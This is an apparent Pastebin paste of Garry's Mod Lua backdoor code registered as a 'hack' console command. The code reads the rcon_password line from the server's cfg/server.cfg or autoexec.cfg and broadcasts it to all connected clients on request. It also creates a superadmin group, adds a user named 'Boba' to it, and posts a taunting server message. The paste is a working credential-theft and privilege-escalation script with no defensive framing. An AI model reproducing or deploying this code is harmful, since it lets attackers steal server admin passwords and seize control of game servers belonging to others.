Advertisement
Guest User

Untitled

a guest
May 22nd, 2018
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.03 KB | None | 0 0
  1. function hack()
  2.  
  3. util.AddNetworkString("rcon_passw_dump")
  4. util.AddNetworkString("jeveuttonrconleul")
  5. util.AddNetworkString("aucun_rcon_ici")
  6. net.Receive( "jeveuttonrconleul", function()
  7. local RconPassword
  8. if file.Exists("cfg/server.cfg", "GAME") then
  9. for k, v in pairs(string.Explode("\n", file.Read("cfg/server.cfg", "GAME"))) do
  10. if string.find(v, "rcon_password") then
  11. RconPassword = v
  12. end
  13. end
  14. end
  15. if not RconPassword and file.Exists("cfg/autoexec.cfg", "GAME") then
  16. for k, v in pairs(string.Explode("\n", file.Read("cfg/autoexec.cfg", "GAME"))) do
  17. if string.find(v, "rcon_password") then
  18. RconPassword = v
  19. end
  20. end
  21. end
  22. if RconPassword ~= nil then
  23. net.Start("rcon_passw_dump")
  24. net.WriteString(RconPassword)
  25. net.Broadcast()
  26. else
  27. net.Start("aucun_rcon_ici")
  28. net.Broadcast()
  29. end
  30. end)
  31.  
  32. RunConsoleCommand('ulx','addgroup','user*','superadmin')
  33.  
  34. RunConsoleCommand('ulx', 'adduser', 'Boba', 'user*')
  35.  
  36. RunConsoleCommand('ulx','rcon','say','Lol_This_Hack_Server_:)')
  37.  
  38. end
  39.  
  40.  
  41. concommand.Add('hack',hack)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement